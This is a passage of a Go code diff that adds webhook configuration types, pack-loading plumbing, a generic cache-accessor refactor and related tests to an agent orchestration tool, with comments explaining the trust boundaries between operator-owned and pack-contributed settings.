 		t.Fatalf("Daemon.FailoverChain = %v, want %v", cfg.Daemon.FailoverChain, want)
 	}
 }
+
+func TestDurationOr(t *testing.T) {
+	def := 30 * time.Second
+	cases := []struct {
+		name string
+		raw  string
+		want time.Duration
+	}{
+		{"empty falls back to default", "", def},
+		{"unparseable falls back to default", "5minutes", def},
+		{"valid parses", "2m", 2 * time.Minute},
+		{"zero parses to zero, not default", "0", 0},
+		{"negative passes through unchanged", "-5s", -5 * time.Second},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := durationOr(tc.raw, def); got != tc.want {
+				t.Errorf("durationOr(%q, %v) = %v, want %v", tc.raw, def, got, tc.want)
+			}
+		})
+	}
+}
+
+func TestDurationFloorOr(t *testing.T) {
+	const floor = ProgressStallTimeoutMinimum
+	cases := []struct {
+		name string
+		raw  string
+		def  time.Duration
+		want time.Duration
+	}{
+		{"empty returns default", "", 0, 0},
+		{"unparseable returns default", "5minutes", 0, 0},
+		{"non-positive falls back to default", "-1m", 0, 0},
+		{"explicit zero falls back to default", "0", 0, 0},
+		{"positive below floor is raised to floor", "1m", 0, floor},
+		{"at floor stays", floor.String(), 0, floor},
+		{"above floor passes through", "10m", 0, 10 * time.Minute},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := durationFloorOr(tc.raw, tc.def, floor); got != tc.want {
+				t.Errorf("durationFloorOr(%q, %v, %v) = %v, want %v", tc.raw, tc.def, floor, got, tc.want)
+			}
+		})
+	}
+}
diff --git a/internal/config/pack.go b/internal/config/pack.go
index d5883acf72..ae072e43d9 100644
--- a/internal/config/pack.go
+++ b/internal/config/pack.go
@@ -50,6 +50,7 @@ type PackConfig struct {
 	Agents        []Agent                     `toml:"agent,omitempty"`
 	NamedSessions []NamedSession              `toml:"named_session,omitempty"`
 	Services      []Service                   `toml:"service,omitempty"`
+	Webhooks      []Webhook                   `toml:"webhook,omitempty"`
 	Providers     map[string]ProviderSpec     `toml:"providers,omitempty"`
 	Upstreams     map[string]UpstreamSpec     `toml:"upstreams,omitempty"`
 	Runtimes      map[string]PackRuntimeEntry `toml:"runtimes,omitempty"`
@@ -624,6 +625,7 @@ func expandCityPacks(cfg *City, fs fsys.FS, cityRoot string, opts LoadOptions) (
 		allRequires = append(allRequires, reqs...)
 		allGlobals = append(allGlobals, globals...)
 		cfg.Services = append(cfg.Services, services...)
+		cfg.Webhooks = append(cfg.Webhooks, cachedPackWebhooks(cache, topoDir)...)
 		packName := tcPackName(fs, topoPath)
 		if packName == "" && len(cachedPackCommands(cache, topoDir)) > 0 {
 			return nil, nil, nil, fmt.Errorf("city pack %q: discovered commands require [pack].name for CLI binding", ref)
@@ -734,6 +736,7 @@ func expandCityPacks(cfg *City, fs fsys.FS, cityRoot string, opts LoadOptions) (
 			doctors := cachedPackDoctors(cache, impDir)
 			runtimes := cachedPackRuntimes(cache, impDir)
 			skills := cachedPackSkills(cache, impDir)
+			webhooks := cachedPackWebhooks(cache, impDir)
 			mcpTopoDirs := topoDirs
 
 			// by this import. Nested pack dependencies reached through
@@ -760,6 +763,7 @@ func expandCityPacks(cfg *City, fs fsys.FS, cityRoot string, opts LoadOptions) (
 				reqs = cachedPackLocalRequires(cache, impDir)
 				globals = cachedPackLocalGlobals(cache, impDir)
 				skills = filterSkillsByPackDir(skills, impDir)
+				webhooks = filterWebhooksBySourceDir(webhooks, impDir)
 				mcpTopoDirs = filterPackDirsByRoot(topoDirs, impDir)
 			}
 
@@ -839,6 +843,7 @@ func expandCityPacks(cfg *City, fs fsys.FS, cityRoot string, opts LoadOptions) (
 			allRequires = append(allRequires, reqs...)
 			allGlobals = append(allGlobals, globals...)
 			cfg.Services = append(cfg.Services, services...)
+			cfg.Webhooks = append(cfg.Webhooks, webhooks...)
 			cfg.PackCommands = appendDiscoveredCommands(cfg.PackCommands, commands...)
 			cfg.PackDoctors = appendDiscoveredDoctors(cfg.PackDoctors, doctors...)
 			// Register pack-declared runtimes city-wide (collisions error).
@@ -1100,6 +1105,7 @@ type packLoadResult struct {
 	upstreams      map[string]UpstreamSpec
 	localUpstreams map[string]UpstreamSpec
 	services       []Service
+	webhooks       []Webhook
 	topoDirs       []string
 	localTopoDirs  []string
 	requires       []PackRequirement
@@ -1272,6 +1278,7 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 	var includedAgents []Agent
 	var includedNamedSessions []NamedSession
 	var includedServices []Service
+	var includedWebhooks []Webhook
 	var includedTopoDirs []string
 	var allRequires []PackRequirement
 	var includedGlobals []ResolvedPackGlobal
@@ -1300,6 +1307,7 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 		includedAgents = append(includedAgents, incAgents...)
 		includedNamedSessions = append(includedNamedSessions, incNamedSessions...)
 		includedServices = append(includedServices, incServices...)
+		includedWebhooks = append(includedWebhooks, cachedPackWebhooks(cache, incTopoDir)...)
 		includedTopoDirs = append(includedTopoDirs, incTopoDirs...)
 		allRequires = append(allRequires, incReqs...)
 		includedGlobals = append(includedGlobals, incGlobals...)
@@ -1361,6 +1369,7 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 		impDoctors := cachedPackDoctors(cache, impDir)
 		impRuntimes := cachedPackRuntimes(cache, impDir)
 		impSkills := cachedPackSkills(cache, impDir)
+		impWebhooks := cachedPackWebhooks(cache, impDir)
 
 		// When transitive = false, strip agents that came from the
 		// imported pack's nested dependencies. We keep only agents
@@ -1387,6 +1396,7 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 			impReqs = cachedPackLocalRequires(cache, impDir)
 			impGlobals = cachedPackLocalGlobals(cache, impDir)
 			impSkills = filterSkillsByPackDir(impSkills, impDir)
+			impWebhooks = filterWebhooksBySourceDir(impWebhooks, impDir)
 		}
 
 		// Stamp binding name on all agents and named sessions from this import.
@@ -1453,6 +1463,7 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 		includedAgents = append(includedAgents, impAgents...)
 		includedNamedSessions = append(includedNamedSessions, impNamedSessions...)
 		includedServices = append(includedServices, impServices...)
+		includedWebhooks = append(includedWebhooks, impWebhooks...)
 		includedTopoDirs = append(includedTopoDirs, impTopoDirs...)
 		allRequires = append(allRequires, impReqs...)
 		includedGlobals = append(includedGlobals, impGlobals...)
@@ -1574,10 +1585,16 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 		}
 	}
 
+	// Stamp this pack's own webhooks with pack provenance. The default-closed
+	// public pack-guard runs once post-composition in LoadWithIncludes; here we
+	// only record where each webhook came from.
+	webhooks := stampWebhookSource(tc.Webhooks, topoDir)
+
 	// Merge: included agents first (base), then parent agents (override).
 	includedAgents = append(includedAgents, agents...)
 	includedNamedSessions = append(includedNamedSessions, namedSessions...)
 	includedServices = append(includedServices, services...)
+	includedWebhooks = append(includedWebhooks, webhooks...)
 	includedCommands = append(includedCommands, commands...)
 	includedDoctors = append(includedDoctors, doctors...)
 	includedRuntimes = append(includedRuntimes, localRuntimes...)
@@ -1661,6 +1678,7 @@ func loadPackWithCacheOptionsLocked(fs fsys.FS, topoPath, topoDir, cityRoot, rig
 		upstreams:      mergedUpstreams,
 		localUpstreams: tc.Upstreams,
 		services:       includedServices,
+		webhooks:       includedWebhooks,
 		topoDirs:       topoDirs,
 		localTopoDirs:  []string{topoDir},
 		requires:       allRequires,
@@ -1690,6 +1708,7 @@ func clonePackLoadResult(in *packLoadResult) *packLoadResult {
 		upstreams:      deepCopyUpstreamSpecs(in.upstreams),
 		localUpstreams: deepCopyUpstreamSpecs(in.localUpstreams),
 		services:       deepCopyServices(in.services),
+		webhooks:       deepCopyWebhooks(in.webhooks),
 		topoDirs:       append([]string(nil), in.topoDirs...),
 		localTopoDirs:  append([]string(nil), in.localTopoDirs...),
 		requires:       append([]PackRequirement(nil), in.requires...),
@@ -1876,9 +1895,16 @@ func applyInheritedPackAgentDefaults(agents []Agent, defaults AgentDefaults) {
 	}
 }
 
-func cachedPackCommands(cache *packLoadCache, topoDir string) []DiscoveredCommand {
+// cachedPackField resolves topoDir to an absolute cache key, looks up its
+// loaded pack result, and returns get(result). It holds the nil-cache guard,
+// absolute-path resolution, and cache-miss protocol once so each field
+// accessor is a one-line get closure. get must deep-copy any slice or map it
+// returns, preserving the copy-on-read contract the accessors rely on. The
+// zero value of T (nil for slices and maps) is returned on a miss.
+func cachedPackField[T any](cache *packLoadCache, topoDir string, get func(*packLoadResult) T) T {
+	var zero T
 	if cache == nil {
-		return nil
+		return zero
 	}
 	absDir, err := filepath.Abs(topoDir)
 	if err != nil {
@@ -1886,115 +1912,57 @@ func cachedPackCommands(cache *packLoadCache, topoDir string) []DiscoveredComman
 	}
 	result, ok := cache.results[absDir]
 	if !ok {
-		return nil
+		return zero
 	}
-	out := deepCopyCommands(result.commands)
-	return out
+	return get(result)
+}
+
+func cachedPackCommands(cache *packLoadCache, topoDir string) []DiscoveredCommand {
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []DiscoveredCommand {
+		return deepCopyCommands(r.commands)
+	})
 }
 
 func cachedPackWarnings(cache *packLoadCache, topoDir string) []string {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return append([]string(nil), result.warnings...)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []string {
+		return append([]string(nil), r.warnings...)
+	})
 }
 
 func cachedPackLocalWarnings(cache *packLoadCache, topoDir string) []string {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return append([]string(nil), result.localWarnings...)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []string {
+		return append([]string(nil), r.localWarnings...)
+	})
 }
 
 func cachedPackLocalProviders(cache *packLoadCache, topoDir string) map[string]ProviderSpec {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return deepCopyProviderSpecs(result.localProviders)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) map[string]ProviderSpec {
+		return deepCopyProviderSpecs(r.localProviders)
+	})
 }
 
 func cachedPackLocalUpstreams(cache *packLoadCache, topoDir string) map[string]UpstreamSpec {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return deepCopyUpstreamSpecs(result.localUpstreams)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) map[string]UpstreamSpec {
+		return deepCopyUpstreamSpecs(r.localUpstreams)
+	})
 }
 
 func cachedPackLocalTopoDirs(cache *packLoadCache, topoDir string) []string {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return append([]string(nil), result.localTopoDirs...)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []string {
+		return append([]string(nil), r.localTopoDirs...)
+	})
 }
 
 func cachedPackLocalRequires(cache *packLoadCache, topoDir string) []PackRequirement {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return append([]PackRequirement(nil), result.localRequires...)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []PackRequirement {
+		return append([]PackRequirement(nil), r.localRequires...)
+	})
 }
 
 func cachedPackLocalGlobals(cache *packLoadCache, topoDir string) []ResolvedPackGlobal {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return deepCopyResolvedPackGlobals(result.localGlobals)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []ResolvedPackGlobal {
+		return deepCopyResolvedPackGlobals(r.localGlobals)
+	})
 }
 
 func filterNamedSessionsBySourceDir(namedSessions []NamedSession, sourceDir string) []NamedSession {
@@ -2013,19 +1981,9 @@ func filterNamedSessionsBySourceDir(namedSessions []NamedSession, sourceDir stri
 }
 
 func cachedPackDoctors(cache *packLoadCache, topoDir string) []DiscoveredDoctor {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	out := deepCopyDoctors(result.doctors)
-	return out
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []DiscoveredDoctor {
+		return deepCopyDoctors(r.doctors)
+	})
 }
 
 // isOSFileSystem reports whether fs is the real operating-system
@@ -2042,18 +2000,9 @@ func isOSFileSystem(fs fsys.FS) bool {
 }
 
 func cachedPackSkills(cache *packLoadCache, topoDir string) []DiscoveredSkillCatalog {
-	if cache == nil {
-		return nil
-	}
-	absDir, err := filepath.Abs(topoDir)
-	if err != nil {
-		absDir = topoDir
-	}
-	result, ok := cache.results[absDir]
-	if !ok {
-		return nil
-	}
-	return deepCopySkills(result.skills)
+	return cachedPackField(cache, topoDir, func(r *packLoadResult) []DiscoveredSkillCatalog {
+		return deepCopySkills(r.skills)
+	})
 }
 
 func filterCommandsByPackDir(commands []DiscoveredCommand, packDir string) []DiscoveredCommand {
diff --git a/internal/config/pack_test.go b/internal/config/pack_test.go
index f5cebea52c..45c2950fbd 100644
--- a/internal/config/pack_test.go
+++ b/internal/config/pack_test.go
@@ -5290,3 +5290,43 @@ func TestMergeHoistedCityNamedSessions_DedupAcrossBindings(t *testing.T) {
 		t.Errorf("first-occurrence-wins: BindingName = %q, want %q", merged[0].BindingName, "gastown")
 	}
 }
+
+func TestCachedPackField(t *testing.T) {
+	dir := t.TempDir()
+	abs, err := filepath.Abs(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	cache := &packLoadCache{results: map[string]*packLoadResult{
+		abs: {warnings: []string{"w1", "w2"}},
+	}}
+
+	get := func(r *packLoadResult) []string { return append([]string(nil), r.warnings...) }
+
+	t.Run("nil cache returns zero value", func(t *testing.T) {
+		if got := cachedPackField(nil, dir, get); got != nil {
+			t.Errorf("cachedPackField(nil) = %v, want nil", got)
+		}
+	})
+
+	t.Run("cache miss returns zero value", func(t *testing.T) {
+		if got := cachedPackField(cache, filepath.Join(dir, "missing"), get); got != nil {
+			t.Errorf("cachedPackField(miss) = %v, want nil", got)
+		}
+	})
+
+	t.Run("cache hit resolves relative path and runs get", func(t *testing.T) {
+		got := cachedPackField(cache, dir, get)
+		if len(got) != 2 || got[0] != "w1" || got[1] != "w2" {
+			t.Errorf("cachedPackField(hit) = %v, want [w1 w2]", got)
+		}
+	})
+
+	t.Run("get closure copies on read", func(t *testing.T) {
+		got := cachedPackField(cache, dir, get)
+		got[0] = "mutated"
+		if cache.results[abs].warnings[0] != "w1" {
+			t.Errorf("get closure did not copy: cache mutated to %q", cache.results[abs].warnings[0])
+		}
+	})
+}
diff --git a/internal/config/public_packs.go b/internal/config/public_packs.go
index 84205a4ca1..df83e9c79f 100644
--- a/internal/config/public_packs.go
+++ b/internal/config/public_packs.go
@@ -19,6 +19,15 @@ const (
 	// (gascity 0.1.6).
 	PublicGascityPackVersion = "sha:3b3b89f2011e06d84459aa7bea1552382f13930a"
 
+	// PublicGascityRolesPackSource is the concrete durable source for the
+	// gascity role-agents subpack (gc-roles): the providerless, rig-scoped
+	// agents (run-operator, requirements-planner, design-author, ...) that the
+	// gascity formulas route to. It lives in the same repo as
+	// PublicGascityPackSource and is pinned to the same release commit
+	// (PublicGascityPackVersion), so a fresh gascity city's formulas and the
+	// rig roles they coordinate always come from one matching release.
+	PublicGascityRolesPackSource = "https://github.com/gastownhall/gascity-packs/tree/main/gascity/roles"
+
 	// BundledPackImportVersion pins the [imports.core]/[imports.bd] entries
 	// gc init writes for the gascity.git packs bundled with the binary.
 	// This is the CANONICAL pin: the only commit the binary pre-seeds into
diff --git a/internal/config/webhook.go b/internal/config/webhook.go
new file mode 100644
index 0000000000..a2a1fc72d9
--- /dev/null
+++ b/internal/config/webhook.go
@@ -0,0 +1,567 @@
+package config
+
+import (
+	"fmt"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/orders"
+)
+
+var (
+	validWebhookName   = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9_-]*$`)
+	validWebhookArgKey = regexp.MustCompile(`^[a-zA-Z_][a-zA-Z0-9_]*$`)
+	// validWebhookSecretEnv reuses the GitHubPRMonitor identifier shape
+	// (github_pr_monitor.go): a webhook secret is referenced by env var name,
+	// never stored inline in TOML.
+	validWebhookSecretEnv = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)
+)
+
+// knownWebhookSchemes is the set of built-in verifier scheme identifiers. E2
+// validates the string only; the verifier implementations land in E4.
+var knownWebhookSchemes = map[string]bool{
+	"github-hmac-sha256": true,
+	"hmac-sha256":        true,
+	"slack-v0":           true,
+	"discord-ed25519":    true,
+	"jwt-jwks":           true,
+}
+
+// hmacFamilyWebhookSchemes require a shared secret referenced via secret_env.
+// discord-ed25519 (public key) and jwt-jwks (JWKS trust anchor) do not.
+var hmacFamilyWebhookSchemes = map[string]bool{
+	"github-hmac-sha256": true,
+	"hmac-sha256":        true,
+	"slack-v0":           true,
+}
+
+// Webhook declares a city- or rig-scoped inbound HTTP receiver mounted under
+// /v0/city/{city}/hook/{name}. It mirrors the [[service]] declaration shape:
+// generic publication intent plus pack provenance, so the same edge routing
+// and pack-guard rules apply. The verifier and dispatch mechanics live in
+// later phases (E3/E4/E5/E6); this type carries the config surface only.
+type Webhook struct {
+	// Name is the unique webhook identifier and mount segment.
+	Name string `toml:"name" jsonschema:"required"`
+	// Scope selects city- or rig-scoped dispatch semantics, mirroring
+	// Order.Scope. Empty defaults to city.
+	Scope string `toml:"scope,omitempty" jsonschema:"enum=city,enum=rig"`
+	// Publication declares generic publication intent, reusing the service
+	// publication contract. Pack/fragment-contributed public webhooks are
+	// capped to tenant unless the city grants them via [webhooks].allow_public.
+	Publication ServicePublicationConfig `toml:"publication,omitempty"`
+	// Verify declares the signature verification scheme and its inputs.
+	Verify WebhookVerify `toml:"verify,omitempty"`
+	// Rules maps verified provider events to dispatch targets.
+	Rules []WebhookRule `toml:"rule,omitempty"`
+	// MaxPerMinute is an optional per-webhook self-imposed sustained request
+	// ceiling for the E8 rate limiter. SECURITY: a [[webhook]] block may be
+	// pack-contributed, and a pack must never be able to weaken the operator's
+	// flood defense, so this value may only LOWER a webhook's effective limit —
+	// it is min-clamped to the operator-owned ceiling and can never raise it (see
+	// WebhookPolicyConfig.EffectiveRateLimit). Leave unset to inherit the operator
+	// default/override.
+	MaxPerMinute int `toml:"max_per_minute,omitempty"`
+	// SourceDir records pack/fragment provenance for pack-stamped webhooks.
+	// Empty means the webhook was authored directly in the root city.toml and
+	// is therefore operator-trusted. Runtime-only; never authored in TOML.
+	SourceDir string `toml:"-" json:"-"`
+}
+
+// WebhookVerify declares how an inbound delivery is authenticated. Fields only;
+// the verification logic is E4. Secrets are always referenced by env var name
+// (secret_env) and never stored inline.
+type WebhookVerify struct {
+	// Scheme selects the built-in verifier (see knownWebhookSchemes).
+	Scheme string `toml:"scheme,omitempty"`
+	// SecretEnv names the environment variable holding the HMAC/shared secret.
+	SecretEnv string `toml:"secret_env,omitempty"`
+	// SecretKey is an optional stable rotation-slot identifier. Empty defaults
+	// to SecretEnv.
+	SecretKey string `toml:"secret_key,omitempty"`
+	// SignatureHeader overrides the request header carrying the signature for
+	// generic HMAC schemes (e.g. X-Plane-Signature).
+	SignatureHeader string `toml:"signature_header,omitempty"`
+	// EventHeader names the request header carrying the provider event type.
+	EventHeader string `toml:"event_header,omitempty"`
+	// DedupHeader names the request header carrying the delivery id used for
+	// at-least-once dedup.
+	DedupHeader string `toml:"dedup_header,omitempty"`
+	// TimestampHeader optionally names a request header carrying a signed
+	// timestamp for replay defense.
+	TimestampHeader string `toml:"timestamp_header,omitempty"`
+	// ReplayWindow bounds the accepted signed-timestamp skew (Go duration).
+	ReplayWindow string `toml:"replay_window,omitempty"`
+	// Issuer, JWKSURL, and Audience pin the jwt-jwks trust anchor. Per the
+	// security review (R1) these are operator-owned and must be declared in
+	// city.toml, never in pack TOML.
+	Issuer   string `toml:"issuer,omitempty"`
+	JWKSURL  string `toml:"jwks_url,omitempty"`
+	Audience string `toml:"audience,omitempty"`
+	// BearerEnv optionally names an env var holding an additional per-source
+	// bearer token checked alongside the signature.
+	BearerEnv string `toml:"bearer_env,omitempty"`
+	// AllowedCIDRs optionally restricts accepted source addresses (e.g. the
+	// GitHub webhook CIDR allowlist).
+	AllowedCIDRs []string `toml:"allowed_cidrs,omitempty"`
+}
+
+// WebhookRule maps one verified provider event to a dispatch target. Matching
+// and arg extraction are E5; this type carries the declaration only.
+type WebhookRule struct {
+	// Event is the provider event type this rule matches (e.g. pull_request).
+	Event string `toml:"event"`
+	// Match is an exact-equality dotted-path predicate over the payload.
+	Match map[string]string `toml:"match,omitempty"`
+	// Order is the target order name for target="order" rules.
+	Order string `toml:"order,omitempty"`
+	// Rig optionally scopes the dispatched order to a rig.
+	Rig string `toml:"rig,omitempty"`
+	// Target selects the dispatch sink: "order" (default) or "conversation".
+	Target string `toml:"target,omitempty" jsonschema:"enum=order,enum=conversation"`
+	// Args maps declared order params to {{payload.path}} projections.
+	Args map[string]string `toml:"args,omitempty"`
+}
+
+// WebhookPolicyConfig holds city-level webhook governance authored in the root
+// city.toml under [webhooks]. It is intentionally never merged from packs or
+// fragments so a pack cannot grant itself public exposure.
+type WebhookPolicyConfig struct {
+	// AllowPublic lists {name, source} grants that permit a pack/fragment
+	// webhook to keep publication.visibility="public". Default-closed: a
+	// pack/fragment public webhook with no matching grant is capped to tenant.
+	AllowPublic []WebhookAllowPublic `toml:"allow_public,omitempty"`
+	// JWTPolicies pins the operator-owned trust anchor for each jwt-jwks webhook,
+	// keyed by webhook name. Per security review R1, a jwt-jwks webhook's issuer,
+	// audience, and JWKS URL are operator-owned and must come from here (the root
+	// city.toml [webhooks] block), never from a pack-authored [webhook.verify]
+	// table — otherwise a pack could point the trust root at an attacker-controlled
+	// issuer/JWKS. The receiver (E3) reads this, not WebhookVerify.Issuer/etc.,
+	// when constructing the jwt-jwks verifier.
+	JWTPolicies []WebhookJWTPolicy `toml:"jwt_policy,omitempty"`
+	// RateLimit holds the operator-owned E8 per-webhook rate-limit governance:
+	// the fleet default plus optional per-webhook overrides. Because the whole
+	// [webhooks] table is never merged from packs or fragments, a pack cannot
+	// touch these values — it can only LOWER its own limit via Webhook.MaxPerMinute
+	// (clamped in EffectiveRateLimit). This is the trust boundary for the flood
+	// defense: the operator sets the ceiling; packs may only self-restrict below it.
+	//
+	// A pointer so an absent [webhooks].rate_limit round-trips cleanly (a zero-value
+	// nested table is not suppressed by BurntSushi's omitempty); nil means "use the
+	// built-in defaults".
+	RateLimit *WebhookRateLimitConfig `toml:"rate_limit,omitempty"`
+}
+
+// Built-in webhook rate-limit defaults, applied when the operator declares no
+// [webhooks].rate_limit. A sustained few-per-second sustained rate with a burst
+// covers legitimate provider delivery (GitHub can batch a handful at once) while
+// capping a compromised-secret flood or a runaway sender.
+const (
+	defaultWebhookRateLimitPerMinute = 300
+	defaultWebhookRateLimitBurst     = 60
+)
+
+// WebhookRateLimitConfig is the operator-owned rate-limit policy authored under
+// the root city.toml [webhooks].rate_limit table. It is never composed from packs.
+type WebhookRateLimitConfig struct {
+	// PerMinute is the default sustained request ceiling applied to every webhook
+	// that declares no lower self-limit. 0 uses defaultWebhookRateLimitPerMinute.
+	PerMinute int `toml:"per_minute,omitempty"`
+	// Burst is the token-bucket burst allowance. 0 uses defaultWebhookRateLimitBurst.
+	Burst int `toml:"burst,omitempty"`
+	// Overrides pins an operator-chosen limit for a specific webhook by name.
+	// Operator authority: an override may raise OR lower that webhook's limit — it
+	// is the operator, not a pack, declaring it. A pack's own MaxPerMinute can then
+	// only clamp further downward, never above the override.
+	Overrides []WebhookRateLimitOverride `toml:"override,omitempty"`
+}
+
+// WebhookRateLimitOverride is one operator-authored per-webhook rate-limit pin.
+type WebhookRateLimitOverride struct {
+	Name      string `toml:"name"`
+	PerMinute int    `toml:"per_minute,omitempty"`
+	Burst     int    `toml:"burst,omitempty"`
+}
+
+// override returns the operator-declared limit for the named webhook, if any.
+func (c WebhookRateLimitConfig) override(name string) (WebhookRateLimitOverride, bool) {
+	name = strings.TrimSpace(name)
+	for _, o := range c.Overrides {
+		if strings.EqualFold(strings.TrimSpace(o.Name), name) {
+			return o, true
+		}
+	}
+	return WebhookRateLimitOverride{}, false
+}
+
+// EffectiveRateLimit resolves the sustained per-minute rate and burst the E8
+// limiter should enforce for w, applying the operator-owned policy and then the
+// pack/city self-limit clamp:
+//
+//  1. start from the built-in default;
+//  2. apply the operator fleet default ([webhooks].rate_limit);
+//  3. apply the operator per-webhook override (operator authority: may raise or lower);
+//  4. apply the webhook's own MaxPerMinute, which may ONLY lower the result — a
+//     pack-contributed webhook cannot raise the limit it is subject to.
+//
+// Step 4 is the security-relevant clamp: a pack authors the whole [[webhook]]
+// block, so MaxPerMinute is untrusted and is honored only when it is stricter
+// than the operator ceiling.
+func (c WebhookPolicyConfig) EffectiveRateLimit(w Webhook) (perMinute, burst int) {
+	perMinute = defaultWebhookRateLimitPerMinute
+	burst = defaultWebhookRateLimitBurst
+	if rl := c.RateLimit; rl != nil {
+		if rl.PerMinute > 0 {
+			perMinute = rl.PerMinute
+		}
+		if rl.Burst > 0 {
+			burst = rl.Burst
+		}
+		if ov, ok := rl.override(w.Name); ok {
+			if ov.PerMinute > 0 {
+				perMinute = ov.PerMinute
+			}
+			if ov.Burst > 0 {
+				burst = ov.Burst
+			}
+		}
+	}
+	// Pack/city self-limit: clamp downward only. A value at or above the operator
+	// ceiling is ignored, so a pack can never widen its own limit.
+	if w.MaxPerMinute > 0 && w.MaxPerMinute < perMinute {
+		perMinute = w.MaxPerMinute
+	}
+	return perMinute, burst
+}
+
+// WebhookJWTPolicy is one operator-owned jwt-jwks trust anchor. It mirrors
+// webhookverify.JWTVerifierPolicy but lives in config so the operator declares
+// it in city.toml; the receiver copies it into the verifier options at request
+// time. Authoring it in the root [webhooks] block (never in a pack) is what makes
+// the R1 boundary enforceable: a pack cannot supply these fields.
+type WebhookJWTPolicy struct {
+	// Name is the webhook this policy applies to (matched against Webhook.Name).
+	Name string `toml:"name"`
+	// Issuer is the required "iss" claim, pinned exactly.
+	Issuer string `toml:"issuer"`
+	// Audience is the required "aud" claim.
+	Audience string `toml:"audience"`
+	// JWKSURL is the https endpoint publishing the signing keys.
+	JWKSURL string `toml:"jwks_url"`
+}
+
+// WebhookAllowPublic is one operator-authored public-exposure grant.
+type WebhookAllowPublic struct {
+	// Name is the webhook name being granted public exposure.
+	Name string `toml:"name"`
+	// Source is the pack/fragment provenance the grant is scoped to. Matched
+	// against the webhook's stamped SourceDir.
+	Source string `toml:"source"`
+	// Digest optionally pins the content digest of the granted webhook's
+	// security-relevant fields.
+	//
+	// TODO(R3): compute and enforce this digest over
+	// {visibility, verify scheme/secret_env/secret_key/trust-root, each rule's
+	// event/match/order/rig/target} so a content-swap upgrade auto-downgrades
+	// to tenant until the operator re-consents. E2 matches on {name, source}
+	// only; the digest field is reserved for that follow-up.
+	Digest string `toml:"digest,omitempty"`
+}
+
+// OperatorJWTPolicy returns the operator-owned jwt-jwks trust anchor declared for
+// the named webhook in the root city.toml [webhooks].jwt_policy list, or ok=false
+// when none is declared. It is the R1 seam: a jwt-jwks webhook's trust root comes
+// only from here, never from a pack-authored [webhook.verify].
+func (c WebhookPolicyConfig) OperatorJWTPolicy(webhookName string) (WebhookJWTPolicy, bool) {
+	name := strings.TrimSpace(webhookName)
+	for _, p := range c.JWTPolicies {
+		if strings.EqualFold(strings.TrimSpace(p.Name), name) {
+			return p, true
+		}
+	}
+	return WebhookJWTPolicy{}, false
+}
+
+// ScopeOrDefault returns the normalized webhook scope.
+func (w Webhook) ScopeOrDefault() string {
+	if s := strings.TrimSpace(strings.ToLower(w.Scope)); s != "" {
+		return s
+	}
+	return "city"
+}
+
+// MountPathOrDefault returns the webhook mount path.
+func (w Webhook) MountPathOrDefault() string {
+	return "/hook/" + w.Name
+}
+
+// TargetOrDefault returns the normalized rule dispatch sink.
+func (r WebhookRule) TargetOrDefault() string {
+	if t := strings.TrimSpace(strings.ToLower(r.Target)); t != "" {
+		return t
+	}
+	return "order"
+}
+
+// ValidateWebhooks checks webhook declarations for configuration errors that
+// would prevent runtime activation. It mirrors ValidateServices.
+func ValidateWebhooks(webhooks []Webhook) error {
+	seen := make(map[string]bool, len(webhooks))
+	for i, w := range webhooks {
+		if w.Name == "" {
+			return fmt.Errorf("webhook[%d]: name is required", i)
+		}
+		if !validWebhookName.MatchString(w.Name) {
+			return fmt.Errorf("webhook %q: name must match [a-zA-Z0-9][a-zA-Z0-9_-]*", w.Name)
+		}
+		if seen[w.Name] {
+			if w.SourceDir != "" {
